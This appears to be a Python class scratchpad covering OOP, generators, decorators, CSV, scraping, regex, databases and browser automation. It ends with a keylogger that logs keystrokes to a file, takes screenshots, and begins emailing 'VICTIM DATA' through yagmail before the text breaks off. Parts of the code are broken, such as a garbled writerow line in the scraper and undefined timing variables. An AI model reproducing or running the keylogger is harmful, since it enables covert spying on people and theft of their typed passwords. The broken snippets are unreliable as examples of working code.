# john.first_name = "JOHN"
# john._BankAccount__balance = 2000

# print(john.first_name, john._BankAccount__balance)


class BankAccount:
    total_customers = 0
    online_users = 0

    def __init__(self, first, last, age, balance=0):
        self.first_name = first
        self.last_name = last
        self.age = age
        self._balance = balance
        BankAccount.total_customers += 1

    def get_balance(self):
        print(f"Your current balance is {self._balance} INR")
        return self._balance

    def deposit(self, amount):
        self._balance = self._balance + amount
        print(
            f"{amount} INR was deposited to your account\nYour new balance is {self._balance} INR"
        )
        return self._balance

    def login(self):
        BankAccount.online_users += 1
        print("You have successfully logged in")

    def logout(self):
        BankAccount.online_users -= 1
        print("You have successfully logged out")

    @classmethod
    def get_total_customers(cls):
        print(f"Your Bank has {cls.total_customers} customer(s)")
        return cls.total_customers


john = BankAccount("John", "Doe", 25)
jane = BankAccount("Jane", "Doe", 30, 5000)


john.get_balance()
john.deposit(1000)
john.deposit(540)

john.login()

# print(john.total_customers, jane.total_customers)
print(BankAccount.total_customers)
print(BankAccount.online_users)

john.logout()

print(BankAccount.online_users)

BankAccount.get_total_customers()


# class Math:
#     @classmethod
#     def add(cls, num1, num2):
#         return num1 + num2

#     @classmethod
#     def sub(cls, num1, num2):
#         return num1 - num2

#     @classmethod
#     def mul(cls, num1, num2):
#         return num1 * num2


# print(Math.sub(10, 20))
# print(Math.add(10, 20))
# class User:
#     def __init__(self, first, last, age):
#         self.first_name = first
#         self.last_name = last
#         self.age = age

#     def __repr__(self):
#         return f"User Object\nFirst Name: {self.first_name}\nAge: {self.age}\n"


# john = User("John", "Doe", 25)
# jane = User("Jane", "Doe", 30)

# print(john)
# print(jane)


# class Animal:
#     def __init__(self, type, sound):
#         self.type = type
#         self.sound = sound

#     def __repr__(self):
#         return f"I am a {self.type} and I say {self.sound}"

#     def make_sound(self):
#         return f"{self.sound * 3}"


# class Dog(Animal):
#     def __init__(self, type, sound, color):
#         super().__init__(type, sound)
#         self.color = color

#     def do_tricks(self):
#         return "I did a trick"


# class Cat(Animal):
#     def __init__(self, color, breed, age):
#         # self.type = "Cat"
#         # self.sound = "Meow"
#         super().__init__("Cat", "Meow")
#         self.color = color
#         self.breed = breed
#         self._age = age

#     def eat(self, food_type):
#         return f"My {self.breed} just ate {food_type}"

#     @property
#     def age(self):
#         print("You will getting the age")
#         return self._age

#     @age.setter
#     def age(self, new_age):
#         self._age = new_age
#         return "Age has been updated"

#     def get_age(self):
#         return self._age

#     def set_age(self, new_age):
#         self._age = new_age
#         return "Age has been updated"


# tyson = Dog("Bulldog", "BARK", "grey")
# print(tyson)


# sherkhan = Animal("Lion", "Roar")
# gabbar = Dog("red")
# billa = Cat("green", "Kajupada", 5)

# print(billa.age)
# billa.age = 12
# print(billa.age)

# print(sherkhan)
# print(sherkhan.make_sound())
# print(gabbar)
# print(gabbar.make_sound())

# print(type(sherkhan))
# print(type(gabbar))

# print(gabbar.do_tricks())
# print(gabbar.color)
# print(billa.eat("fish"))
# # print(billa._age)
# billa.set_age(6)
# billa.color = "purple"
# print(billa.get_age())
# print(billa.color)

# print(sherkhan.color)


class Human:
    def __init__(self, name):
        self.name = name

    def think(self):
        return f"THINKING...."

    # def speak(self):
    #     return f"My name is {self.name} and I am Human"


class Animal:
    def __init__(self, name):
        self.name = name

    def sprint(self):
        return "SPRINTING..."

    def speak(self):
        return f"asdasdasd sad {self.name} Animal..asd.asd"


class Mutant(Human, Animal):
    def __init__(self, name):
        self.name = name


bheem = Human("Bheem")
kutta = Animal("Jaggu")
wolverine = Mutant("Logan")

# print(bheem.speak())
# print(kutta.speak())
print(wolverine.speak())

print(help(Mutant))
# # class Animal:
# #     def speak(self):
# #         raise NotImplementedError("Subclass needs to implement this method")


# # class Dog(Animal):
# #     def speak(self):
# #         return "bark"


# # class Cat(Animal):
# #     def speak(self):
# #         return "meow"


# # ben = Cat()

# # print(ben.speak())


# # def simpleFunction():
# #     raise ValueError("This is some error")


# # simpleFunction()


# class Animal:
#     def __init__(self, name):
#         self.name = name


# class Human:
#     def __init__(self, name, age):
#         self.name = name
#         self.age = age

#     def __repr__(self):
#         return self.name

#     def __len__(self):
#         return self.age

#     def __gt__(self, other):
#         return self.age > other.age

#     def __add__(self, other):
#         if isinstance(other, Human):
#             return Human("new born", 0)
#         else:
#             raise TypeError("Humans can't be added with non-Humans")


# john = Human("John Doe", 25)
# jane = Human("Jane Doe", 30)
# sherkhan = Animal("Sherkhan")

# # print(john)
# # print(len(john))

# # print(john + sherkhan)
# print(john > jane)


# def my_for(fn, iterable):
#     iterator = iter(iterable)

#     while True:
#         try:
#             fn(next(iterator))
#         except StopIteration:
#             break


# for num in [1,2,3]:
#     print(num * num)


# # my_for(["john", "jack", "jane"])


# my_for(lambda x: print(x * x), [1, 2, 3, 4, 5, 6])


# def count_to(max):
#     count = 1
#     while count <= max:
#         yield count
#         count += 1


# res = count_to(10)

# for num in res:
#     print(num * 2)


# def fib_list(max):
#     nums = []
#     a, b = 0, 1
#     while len(nums) < max:
#         nums.append(b)
#         a, b = b, a + b
#     return nums


# def fib_gen(max):
#     a, b = 0, 1
#     count = 0
#     while count < max:
#         a, b = b, a + b
#         yield a
#         count += 1


# print(fib_list(100000))
# print(fib_gen(100000))


# for num in fib_gen(100000):
#     print(num)

# import time

# list_start_time = time.time()
# print(sum([num for num in range(100000000)]))
# list_total_time = time.time() - list_start_time


gen_start_time = time.time()
print(sum(num for num in range(1000000000)))
gen_total_time = time.time() - gen_start_time


print(f"List comp took: {list_total_time}")
print(f"Gen Exp took: {gen_total_time}")


def counter_generator(start, end, step=1):
    while start <= end:
        yield start
        start += step

# val = counter_generator(0, 10, 2)

# # for v in val:
# #     print(v)

# print(list(val))


# Bank
#   ---- class attr -> total_banks
#   ---- class method -> get_total_banks()
#   __repr__
#   name
#   initials
#   address
#   phone no
#   IFSC
#   Customers (list)
# ----- methods ------
#   add_new_customer(customer_obj)
# ->
#   find_customer_by_acc()
#   find_customers_by_name() -> return a list

# Customer
#   __repr__
#   first_name
#   last_name
#   phone
#   email
#   address
#   account_no
#   balance = 5000
# ------ methods ------
#   withdraw()
#   deposit()
#   change_details()

# sbi = Bank("Bank of India", "BOI")


# [email protected]
# from random import choice


# def generate_acc_no(initials, size):
#     alphanum = "0123456789abcdefghijklmnopqrstuvwxyz"
#     ac_no = f"{initials}-"

#     i = 0
#     while i < size:
#         ac_no += choice(alphanum)
#         i += 1

#     return ac_no


# print(generate_acc_no("BOI", 10))


# def math(a, b, fn):
#     return fn(a, b)


# def add(a, b):
#     return a + b


# print(math(10, 20, lambda a, b: a * b))
# print(math(20, 20, add))


# def sum(n, func):
#     total = 0
#     for num in range(1, n + 1):
#         total += func(num)
#     return total


# def square(n):
#     return n * n


# def cube(n):
#     return n * n * n


# print(sum(3, square))
# print(sum(3, cube))

# import random


# def greet(person):
#     def get_mood():
#         mood = ["Hey", "What!", "What the heck do you want!", "Get lost!"]
#         msg = random.choice(mood)  # import random
#         return msg

#     result = f"{get_mood()} {person}"
#     return result


# print(greet("John"))


# def make_a_function(num1, num2):
#     # defined a new function called add
#     def add():
#         return num1 + num2

#     # return the above add function
#     return add


# result = make_a_function(10, 10)
# print(result())


# import random


# def make_greet_function(person):
#     def make_message():
#         msg = random.choice(
#             ["Hello", "What!", "What the heck do you want!", "Get lost!"]
#         )
#         return f"{msg} {person}"

#     return make_message


# greet_john = make_greet_function("John")
# greet_james = make_greet_function("James")

# print(greet_john())
# print(greet_james())


# def stars(fn):
#     def wrapper():
#         print("*" * 10)
#         fn()
#         print("*" * 10)

#     return wrapper


# @stars  # say_hello = stars(say_hello)
# def say_hello():
#     print("Hello World")


# @stars
# def say_goodbye():
#     print("Goodbye World!")


# # ordinary_hello = say_hello

# # say_hello = stars(say_hello)

# # say_hello()
# say_goodbye()

# class User:
#     def __init__(self, name, age):
#         self.name = name
#         self._age = age

#     @property  # age = property(age)
#     def age(self):
#         return self._age


# def make_upper_case(fn):
#     def wrapper(*args, **kwargs):
#         return fn(*args, **kwargs).upper()

#     return wrapper


# @make_upper_case  # say_hello = make_upper_case(say_hello)  -> wrapper
# def say_hello(person):
#     return f"Hello, {person}."


# @make_upper_case
# def say_whatever(person, message):
#     return f"{message}, {person}."


# print(say_hello("John"))
# print(say_whatever("John", "Hi"))


# users = [{"name": "John", "age": 25}, {"name": "Jane", "age": 30}]


# def find(name):
#     for user in users:
#         if user["name"] == name:
#             return user
#     return None


# print(find("John"))


# class User:
#     def __init__(self, name, age):
#         self.name = name
#         self.age = age

#     def __repr__(self):
#         return self.name
# def make_upper_case(fn):
#     def wrapper(*args, **kwargs):
#         return fn(*args, **kwargs).upper()

#     return wrapper


# @make_upper_case
# def say_hello(person):
#     return f"Hello, {person}."


# # say_hello = make_upper_case(say_hello)

# print(say_hello("John"))

# import random
# from functools import wraps

# google_a_str = "SakdalsHKSJDA6Z&%D8321"


# def log_analytics(fn):
#     """Decorator that logs data to Google Analytics and backend logger"""

#     @wraps(fn)
#     def wrapper(*args, **kwargs):
#         print("Log this info to this file")
#         print("Save username with timestamp")
#         print("Save this log to the database")
#         print(f"Use this {google_a_str} to notify Google Analytics about this action")
#         return fn(*args, **kwargs)

#     return wrapper


# @log_analytics  # login = log_analytics(login)
# def login(username, password):
#     """
#     Validates username and password in the database
#     and returns a session token

#     @params
#     username (str)
#     password (str) - should be longer than 8 characters. No spaces allowed.

#     @return (str)
#     """
#     return "Hello, {username}"


# @log_analytics
# def upload_photo(url):
#     """Upload photo by providing public url"""
#     return "Photo uploaded"


# @log_analytics
# def logout():
#     """Logout the user and clear session and cookie data"""
#     return "You have logged out"


# # print(login("john", "[email protected]"))
# # print(upload_photo("https://rstforum.net"))
# # print(logout())

# print(login.__doc__)
# print(login.__name__)
# # print(help(login))

from time import time
from functools import wraps


def speed_test(fn):
    """DOCS"""

    @wraps(fn)  # wrapper = wraps(wrapper)
    def wrapper(*args, **kwargs):
        start_time = time()
        print(f"Executing {fn.__name__}()")
        result = fn(*args, **kwargs)
        end_time = time()
        print(f"Time Elaspsed: {end_time - start_time}")
        return result

    return wrapper


@speed_test
def sum_nums_gen():
    return sum(x for x in range(50000000))


@speed_test
def sum_nums_list():
    return sum([x for x in range(50000000)])


print(sum_nums_gen())
print(sum_nums_list())


# from functools import wraps


# def ensure_first_arg(val):  # this param will represent "matunga"
#     def inner(fn):  # this will represent our normal decorator
#         def wrapper(*args, **kwargs):
#             if args and args[0] != val:
#                 return f"First arg should be {val}"
#             else:
#                 return fn(*args, **kwargs)

#         return wrapper

#     return inner


# # @ensure_first_arg("Matunga")
# def fav_places(*places):
#     return places


# # @ensure_first_arg(100)
# def fav_nums(*nums):
#     return nums


# fav_places = ensure_first_arg("Matunga")(fav_places)
# fav_nums = ensure_first_arg(10)(fav_nums)

# # fav_places = ensure_first_arg(fav_places)
# # fav_places = ensure_first_arg("Matunga")

# ###############################

# # 1 - fav_places = ensure_first_arg("Matunga")
# # 2 - fav_places = inner(fav_places)
# # 3 - fav_places = wrapper

# ###############################


# print(fav_places("Matunga", "Nagpada", "Bail Bazar", "BKC"))
# print(fav_nums(100, 4, 6, 343, 123))


def enforce(*types):
    def inner(fn):
        def wrapper(*args, **kwargs):
            new_args = []
            for a, t in zip(args, types):
                try:
                    new_args.append(t(a))
                except (ValueError, TypeError):
                    return "Something went wrong"
            return fn(*new_args)

        return wrapper

    return inner


@enforce(str, int)
def announce(msg, times):
    print((msg + "\n") * times)


user_msg = input("Enter Message: ")
user_times = input("Times to print: ")

print(announce(user_msg, user_times))
# prints correctly even after type problem
# # file = open("hello.txt")

# # data = file.read()

# # print(data)

# # # a = 45
# # # a += 56
# # # firstName = "John Doe"


# # file = open("hello.txt")
# # file.read()
# # file.close()
# # file.closed  # True

# # with open("hello.txt", "r") as file:
# #     print(file.read())
# #     print(file.closed)

# # print(file.closed)

# # data = None

# # with open("hello.txt") as file:
# #     data = file.readlines()


# # with open("hello_copy.txt", "w") as file:
# #     for line in data:
# #         file.write(line.upper())

# # with open("helloworld.txt", "w") as file:
# #     file.write("Hello Python\n")
# #     file.write("Python Programming from Linux\n")
# #     file.write("Python\tPython\tPython\n" * 10000)


# # with open("hello.txt", "a") as file:
# #     file.write("This is a new line\n")
# #     file.seek(0)
# #     file.write("Hello World\n")


# with open("hello.txt", "r+") as file:
#     file.write("This is a new line".upper())
#     # file.seek(0)
#     # file.write("Hello World\n".upper())


# # Ex 1. Create a file. Add some dummy text in it. Write Python code
# # Read that file. Reverse the text and then write it to a new file

# # Ex 2. Create a txt file. Add dummy text to it
# # create a function called stats()
# # {"lines": 5, "words": 54, "chars": 300}


# # with open("info.csv") as file:
# #     print(file.readlines())


# # import csv
# from csv import reader
# from csv import DictReader


# with open("info.csv") as file:
#     csv_reader = reader(file)
#     next(csv_reader)

#     young_pop = []

#     for row in csv_reader:
#         if int(row[-1]) <= 30:
#             young_pop.append(row)


# print(young_pop)


# with open("info.csv") as file:
#     csv_reader = DictReader(file)

#     for row in csv_reader:
#         print(row)


from csv import writer
from csv import DictWriter

# with open("hello.csv", "w") as file:
#     csv_writer = writer(file)

#     csv_writer.writerow(["Name", "Type"])
#     csv_writer.writerow(["Pikachu", "Electric"])
#     csv_writer.writerow(["Balbasaur", "Grass"])


with open("hello.csv", "w") as file:
    headers = ["Name", "Type", "Abilities"]
    csv_writer = DictWriter(file, fieldnames=headers)
    csv_writer.writeheader()
    csv_writer.writerow(
        {"Name": "Pikachu", "Type": "Electric", "Abilities": "Thundershock"}
    )
    csv_writer.writerow({"Name": "Charizard", "Type": "Fire", "Abilities": "Firestorm"})
# import pickle


# class Animal:
#     def __init__(self, name, type):
#         self.name = name
#         self.type = type

#     def __repr__(self):
#         return self.name

#     def make_sound(self):
#         return "SOUND"


# class Human:
#     def __init__(self, name, age):
#         self.name = name
#         self.age = age

#     def __repr__(self):
#         return self.name

#     def get_age(self):
#         return f"I am {self.age} years old"


# tom = Animal("Tom", "Cat")
# john = Human("John", 25)


# print(tom)
# print(type(john))


# with open("pydata.pickle", "wb") as file:
#     pickle.dump((tom, john), file)


# with open("pydata.pickle", "rb") as file:
#     restored_data = pickle.load(file)

#     print(restored_data[0].make_sound(), restored_data[1].get_age())


# import json

# data = json.dumps(
#     ["john", "jack", True, False, None, 100 + 3, {"name": "Zack", "age": 25}, (100, 45)]
# )

# data = json.dumps((john.__dict__, tom.__dict__))

# print(data)

# import jsonpickle


# with open("data.json", "w") as file:
#     saved_data = jsonpickle.encode((tom, john))
#     file.write(saved_data)


# with open("data.json", "r") as file:
#     contents = file.read()
#     restored_data = jsonpickle.decode(contents)
#     print(restored_data[0].make_sound(), restored_data[1].get_age())

# *	                *	            Select all elements
# .class	        .note	        Selects all elements where class="note"
# .class1.class2	.note.highlight	Selects all elements where class="note highlight"
# #id	            #signInBox	    Selects the element where id="signInBox"
# element	p	Selects all p elements
# element.class	p.highlight	Selects all <p> elements with class="hightlight"
# element,element	div, p	Selects all <div> and <p> elements.
# element element	div p	Selects all <p> elements inside <div> elements.
# element>element	div > p	Selects all <p> elements where the parent is a <div> element.
# element+element	div + p	Selects all <p> elements that are placed immediately after <div> elements.
# element~element	p ~ ul	Selects every <ul> element that are preceded by a <p> element.
# [attribute]	[target]	Selects all elements with a target attribute.
# [attribute=value]	[target=_blank]	Selects all elements with attribute target=_blank
# [attribute~=value]	[href~='http://google.com']	Selects all elements with the href attribute containing http://google.com
# [attribute|=value]	[lang|=en]	Selects all elements with a lang attribute value starting with "en".
# [attribute^=value]	a[href^="https"]	Selects every <a> element whose href attribute value begins with "https"
# [attribute$=value]	a[href$=".pdf"]	Selects every <a> element whose href attribute value ends with .pdf
# [attribute*=value]	a[href*="rstforum"]	Selects every <a> element whose href attribute value contains the word "rstforum"


htmlData = """
<html>
  <head>
    <title>Hello World Website</title>
    <link rel="stylesheet" href="./style.css" />
  </head>
  <body>
    <h1 class="some-class foo">Hello World Website!</h1>
    <div style="background-color: gray">
      <h4>Some section</h4>
      <p>
        Lorem ipsum dolor sit amet consectetur adipisicing elit. Officiis
        accusantium pariatur minus quae! Nobis esse quae ab, at nihil atque?
      </p>
    </div>
    <section style="background-color: gray">
      <h4>Some section</h4>
      <p class="some-class">
        Lorem ipsum dolor sit amet consectetur adipisicing elit. Officiis
        accusantium pariatur minus quae! Nobis esse quae ab, at nihil atque?
      </p>
    </section>
    <h2 id="impHeading">Hello World Website!</h2>
    <h3>Hello World Website!</h3>
    <h4 class="foo">Hello World Website!</h4>
    <h5>Hello World Website!</h5>
    <h6>Hello World Website!</h6>
    <p class="foo">
      Lorem ipsum, <b class="cancel">dolor sit amet consectetur</b> adipisicing
      elit. Molestiae ipsam <i>molestias <b>incidunt</b> labore</i> at sit
      voluptas magnam ad, tempora architecto quisquam facere recusandae
      assumenda similique tenetur ipsum a,
      <span>sapiente temporibus neque</span> suscipit possimus quae. Optio nemo
      similique enim possimus maxime.
    </p>
    <img
      src="https://www.pixsy.com/wp-content/uploads/2021/04/ben-sweet-2LowviVHZ-E-unsplash-1.jpeg"
      alt="Some image"
      width="50%"
      class="some-class"
    />

    <img
      src="https://www.pixsy.com/wp-content/uploads/2021/04/ben-sweet-2LowviVHZ-E-unsplash-1.jpeg"
      alt="hello"
      width="50%"
      class="some-class"
    />
    <ul>
      <li>My first task</li>
      <li>Another task</li>
      <li>Lorem ipsum dolor sit amet.</li>
      <li>
        Lorem ipsum dolor sit amet consectetur adipisicing elit. Commodi, aut!
      </li>
    </ul>

    <ol>
      <li class="cancel">My first task</li>
      <li>Another task</li>
      <li>Lorem ipsum dolor sit amet.</li>
      <li>
        Lorem ipsum dolor sit amet consectetur adipisicing elit. Commodi, aut!
      </li>
    </ol>
  </body>
</html>
"""

# print(type(html))

from bs4 import BeautifulSoup

soup = BeautifulSoup(htmlData, "html.parser")
# print(type(soup))


# print(soup.body)
# print(soup.body.p)


# print(soup.find("h3"))
# print(type(soup.find("p")))
# print(soup.find_all("p"))
# print(soup.find_all("li"))

# print(soup.find(class_="cancel"))
# print(soup.find_all(class_="cancel"))


# print(soup.find(id="impHeading"))

print(soup.find(attrs={"alt": "hello"}))
# htmlData = """
# <html>
#   <head>
#     <title>Hello World Website</title>
#     <link rel="stylesheet" href="./style.css" />
#   </head>
#   <body>
#     <h1 class="some-class foo">Hello World Website!</h1>
#     <div style="background-color: gray">
#       <h4>Some section</h4>
#       <p>
#         Lorem ipsum dolor sit amet consectetur adipisicing elit. Officiis
#         accusantium pariatur minus quae! Nobis esse quae ab, at nihil atque?
#       </p>
#     </div>
#     <section style="background-color: gray">
#       <h4>Some section</h4>
#       <p class="some-class">
#         Lorem ipsum dolor sit amet consectetur adipisicing elit. Officiis
#         accusantium pariatur minus quae! Nobis esse quae ab, at nihil atque?
#       </p>
#     </section>
#     <h2 id="impHeading">Hello World Website!</h2>
#     <h3>Hello World Website!</h3>
#     <h4 class="foo">Hello World Website!</h4>
#     <h5>Hello World Website!</h5>
#     <h6>Hello World Website!</h6>
#     <p class="foo">
#       Lorem ipsum, <b class="cancel">dolor sit amet consectetur</b> adipisicing
#       elit. Molestiae ipsam <i>molestias <b>incidunt</b> labore</i> at sit
#       voluptas magnam ad, tempora architecto quisquam facere recusandae
#       assumenda similique tenetur ipsum a,
#       <span>sapiente temporibus neque</span> suscipit possimus quae. Optio nemo
#       similique enim possimus maxime.
#     </p>
#     <img
#       src="https://www.pixsy.com/wp-content/uploads/2021/04/ben-sweet-2LowviVHZ-E-unsplash-1.jpeg"
#       alt="Some image"
#       width="50%"
#       class="some-class"
#     />

#     <img
#       src="https://www.pixsy.com/wp-content/uploads/2021/04/ben-sweet-2LowviVHZ-E-unsplash-1.jpeg"
#       alt="hello"
#       width="50%"
#       class="some-class"
#     />
#     <ul>
#       <li>My first task</li>
#       <li>Another task</li>
#       <li>Lorem ipsum dolor sit amet.</li>
#       <li>
#         Lorem ipsum dolor sit amet consectetur adipisicing elit. Commodi, aut!
#       </li>
#     </ul>

#     <ol>
#       <li class="cancel">My first task</li>
#       <li>Another task</li>
#       <li>Lorem ipsum dolor sit amet.</li>
#       <li>
#         Lorem ipsum dolor sit amet consectetur adipisicing elit. Commodi, aut!
#       </li>
#     </ol>
#   </body>
# </html>
# """

# pip install bs4
# from bs4 import BeautifulSoup

# soup = BeautifulSoup(htmlData, "html.parser")

# h1 = soup.body.h1

# print(type(h1))

# some_list = soup.find_all("li")
# all_class_elems = soup.find_all(id="impHeading")

# print(all_class_elems)


# li_item = soup.find("li")

# print(li_item.get_text())


# li_items = soup.find_all("li")

# print(li_items)


# for li in li_items:
#     print(li.get_text().strip().upper())


# for li in li_items:
#     print(li.attrs["class"])


# section = soup.find("section")

# # print(section.attrs["style"])


# all_images = soup.find_all("img")

# for img in all_images:
#     print(img.attrs["src"])
#     print(img["src"])


# body_data = soup.body.contents

# print(body_data)


# heading5 = soup.find("h4")

# print(heading5.find_next_sibling())
# print(heading5.find_next_sibling().find_next_sibling())
# print(heading5.find_previous_sibling())


# print(heading5.find_parent())


# some_div = heading5.find_parent()

# print(some_div.find("p"))


# import requests
# from bs4 import BeautifulSoup
# from csv import writer

# response = requests.get("https://arstechnica.com/")

# # print(response.text)


# # soup = BeautifulSoup(response.text, "html.parser")

# # # print(soup.find("h2").get_text())


# # articles = soup.find_all(class_="article")


# # # for article in articles:
# # #     title = article.find("h2").get_text()
# # #     excerpt = article.find(class_="excerpt").get_text()
# # #     author = article.find("span").get_text()
# # #     time = article.find("time").get_text()
# # #     link = article.find("a")["href"]
# # # print(title, "\n", excerpt, "\n", author, time, "\n", link, "\n\n")


# # with open("tech_articles.csv", "w") as file:
# #     csv_writer = writer(file)

# #     # Write header row
# #     csv_writer.writerow(["Title", "Excerpt", "Author", "Published On", "URL"])

# #     for article in articles:
# #         title = article.find("h2").get_text()
# #         excerpt = article.find(class_="excerpt").get_text()
# #         author = article.find("span").get_text()
# #         time = article.find("time").get_text()
# #         link = article.find("a")["href"]

# #         csv_writer.writerow([title, excerpt, author, time, link])

# response = requests.get("https://books.toscrape.com/")

# soup = BeautifulSoup(response.text, "html.parser")

# books = soup.find_all(class_="product_pod")

# with open("books_list.csv", "w") as file:
#     csv_writer = writer(file)

#     # Write header row
#     csv_writer.writerow(["Title", "Price"])

#     for book in books:
#         title = book.find("h3").get_text()
#         price = book.find(class_="price_color").get_text()

#         csv_writer.writerow([title, price])


# --------------------------

import requests
from bs4 import BeautifulSoup
from csv import writer
import time
import random


all_quotes = []
base_url = "https://quotes.toscrape.com"
url = "/page/1/"


while url:
    response = requests.get(f"{base_url}{url}")
    print(f"Now scraping {base_url}{url}")

    soup = BeautifulSoup(response.text, "html.parser")
    quotes = soup.find_all(class_="quote")

    for quote in quotes:
        all_quotes.append(
            {
                "text": quote.find(class_="text").get_text(),
                "author": quote.find(class_="author").get_text(),
                "bio_link": quote.find("a")["href"],
            }
        )

    next_button = soup.find(class_="next")

    # if next_button:
    #     url = next_button.find("a")["href"]
    # else:
    #     url = None

    url = next_button.find("a")["href"] if next_button else None

    time.sleep(random.randint(1, 6))


with open("quotes.csv", "w") as file:
    csv_writer = writer(file)

    # Write header row
    csv_writer.writerow(["Quote", "Author", "Bio Page Link"])

    for quote in all_quotes:
        csv_writer.writerow(
		
, quote["author"], quote["bio_link"]])
import re

# pattern = re.compile(r"\d{3}\s?\d{4}\s?\d{4}")

# result = pattern.search("My phone number is 022 34565782 and 02223456789")
# print(result.group())


# result = pattern.findall("My phone number is 022 34565782 and 02223456789")
# print(result)


# def extract_all_phones(input):
#     phone_regex = re.compile(r"\d{3}\s?\d{4}\s?\d{4}")
#     return phone_regex.findall(input)


# print(extract_all_phones("My phone number is 022 34565782 and 02223456789"))

# def isvalidphone(input):


def is_valid_phone(input):
    # phone_regex = re.compile(r"^\d{3}\s\d{4}\s?\d{4}$")
    # match = phone_regex.search(input)
    phone_regex = re.compile(r"\d{3}\s\d{4}\s?\d{4}")
    match = phone_regex.fullmatch(input)
    if match:
        return True
    return False


print(is_valid_phone("022 23456789"))
print(is_valid_phone("02223456789"))


# 192.168.1.234
# 45.250.234.24
# from pymongo import MongoClient

# client = MongoClient("mongodb://127.0.0.1:27017")

# db = client.pyclass

# coll = db["students"]

# # doc = {"first_name": "john", "last_name": "doe", "age": 25}

# # users = [
# #     {"first_name": "jane", "last_name": "doe", "age": 30},
# #     {"first_name": "jack", "last_name": "man", "age": 32},
# #     {"first_name": "james", "last_name": "gunn", "age": 35},
# #     {"first_name": "jim", "last_name": "halpert", "age": 38},
# # ]

# # coll.insert_one(doc)
# # coll.insert_many(users)


# query = {"age": {"$gt": 30}}
# update_query = {"$set": {"subjects": ["python", "databases", "app development"]}}

# search_res = coll.find(query)

# coll.update_many(query, update_query)


# coll.delete_many({})


# for doc in search_res:
#     print(doc)

# client.drop_database("pyclass")


# # Bank
# # Customer

# # Bank ->
# # new_customer(self, name, pan) -> customer coll -> doc
# # find_customer(self, ac) -> search query
# # find_customer(self, name)

# import sqlite3

# data = ("john", "doe", 25)

# data_list = [("jack", "man", 28), ("jane", "doe", 32), ("jim", "smith", 30)]

# conn = sqlite3.connect("pystudents.db")

# c = conn.cursor()

# # c.execute("CREATE TABLE users (first_name TEXT, last_name TEXT, age INTEGER);")
# # c.execute("INSERT INTO users VALUES ('salman', 'khan', 34)")
# # c.execute("INSERT INTO users VALUES ('shahrukh', 'khan', 40)")

# query = """INSERT INTO users VALUES (?, ?, ?)"""


# # c.execute(query, data)

# # for item in data_list:
# #     print(f"Writing {item[0]} to database...")
# #     c.execute(query, item)

# # c.executemany(query, data_list)

# c.execute("SELECT * FROM users;")
# # print(c)

# for row in c:
#     print(row)

# conn.commit()
# conn.close()


# import sqlite3

# first_name = input("Enter your first name: ")
# last_name = input("Enter your last name: ")
# age = input("Enter your age: ")

# conn = sqlite3.connect("pystudents.db")
# c = conn.cursor()

# query = """INSERT INTO users VALUES (?, ?, ?)"""
# c.execute(query, (first_name, last_name, age))

# conn.commit()
# conn.close()


from selenium import webdriver
from selenium.webdriver.common.keys import Keys
from selenium.webdriver.chrome.options import Options
from time import sleep

browser = webdriver.Chrome(
    r"/home/rahulsharma/Desktop/Class/Python/Python-Sunday/scratchpads/chromedriver"
)

# options = Options.set_headless()

# browser.create_options()

# sleep(3)
browser.maximize_window()

browser.get("https://www.youtube.com")
sleep(3)

search_box = browser.find_element_by_xpath(
    "/html/body/ytd-app/div/div/ytd-masthead/div[3]/div[2]/ytd-searchbox/form/div/div[1]/input"
)
search_box.click()
sleep(1)
search_box.send_keys("desh drohi kamal khan", Keys.ENTER)
sleep(3)

# browser.find_element_by_xpath(
#     "/html/body/ytd-app/div/ytd-page-manager/ytd-search/div[1]/ytd-two-column-search-results-renderer/div/ytd-section-list-renderer/div[2]/ytd-item-section-renderer/div[3]/ytd-video-renderer[3]/div[1]/div/div[1]/div/h3/a/yt-formatted-string"
# ).click()

video = browser.find_element_by_partial_link_text("Best Comedy Scene Ever")
sleep(2)
video.click()
sleep(5)

# video.
# //*[@id="dismissible"]/div/div[3]/yt-formatted-string
# from pywinauto.application import Application
# import pywinauto
# from time import sleep

# app = Application(backend="uia").start("notepad.exe")
# app.Untitled.menu_select("Help->About Notepad")
# # app.Untitled.print_control_identifiers()

# top_window = app.top_window()
# sleep(2)
# # top_window.print_control_identifiers()
# top_window.OK.click()

# text = "Lorem ipsum dolor sit amet consectetur adipisicing elit. Modi iusto error excepturi iste illum sed dolorem, debitis praesentium earum, quia esse odio nulla expedita tempora quo delectus facilis temporibus odit."

# app.Untitled.Edit.type_keys(text, with_spaces=True)
# app.Untitled.menu_select("File->Save")

# save_window = app.Untitled.child_window(title="Save As")

# save_window.print_control_identifiers()
# save_window.ComboBox.Edit.type_keys("python_auto.txt")
# save_window.Save.click()
# sleep(2)
# app.Untitled.CloseButton2.click()


# import pyautogui
# from pywinauto.application import Application
# from time import sleep

# app = Application(backend="uia").start("mspaint.exe")
# print(pyautogui.size())
# sleep(4)

# pyautogui.moveTo(200, 400)
# pyautogui.dragRel(200, 400, 1)

# distance = 200

# while distance > 0:
#     pyautogui.dragRel(distance, 0, duration=0.5)
#     distance = distance - 5
#     pyautogui.dragRel(0, distance, duration=0.5)
#     pyautogui.dragRel(-distance, 0, duration=0.5)
#     distance = distance - 5
#     pyautogui.dragRel(0, -distance, duration=0.5)

# pyautogui.screenshot("screen.png")

# ----------------

from pynput.keyboard import Key, Listener
import pyautogui
import yagmail
from datetime import datetime
import time
import os

os.system("cls")

count = 0
keys = []

try:
    print("Typing")

    def on_press(key):
        global keys, count
        keys.append(key)
        count += 1
        print(f"{key} pressed")
        if count >= 10:
            write_file(keys)
            keys = []
            count = 0

    def write_file(keys):
        with open("log.txt", "a") as f:
            for key in keys:
                k = str(key).replace("'", "")
                if k.find("space") > 0:
                    f.write(str(" "))
                elif k.find("caps_lock") > 0:
                    f.write(str("<CAPS_LOCK>"))
                elif k.find("enter") > 0:
                    f.write("\n")
                elif k.find("<97>") > -1:
                    f.write(str("1"))
                elif k.find("<98>") > -1:
                    f.write(str("2"))
                elif k.find("<99>") > -1:
                    f.write(str("3"))
                elif k.find("<100>") > -1:
                    f.write(str("4"))
                elif k.find("<101>") > -1:
                    f.write(str("5"))
                elif k.find("<102>") > -1:
                    f.write(str("6"))
                elif k.find("<103>") > -1:
                    f.write(str("7"))
                elif k.find("<104>") > -1:
                    f.write(str("8"))
                elif k.find("<105>") > -1:
                    f.write(str("9"))
                elif k.find("Key") == -1:
                    f.write(k)

    def take_screenshot():
        screen = pyautogui.screenshot()
        screen.save("screenshot.png")

    def send_mail():
        receiver_email = "____________"
        subject = f"VICTIM DATA - {datetime.now().strftime('%d-%m-%Y %H:%M:%S')}"
        yag = yagmail.SMTP("____________", "___________")
        contents = [
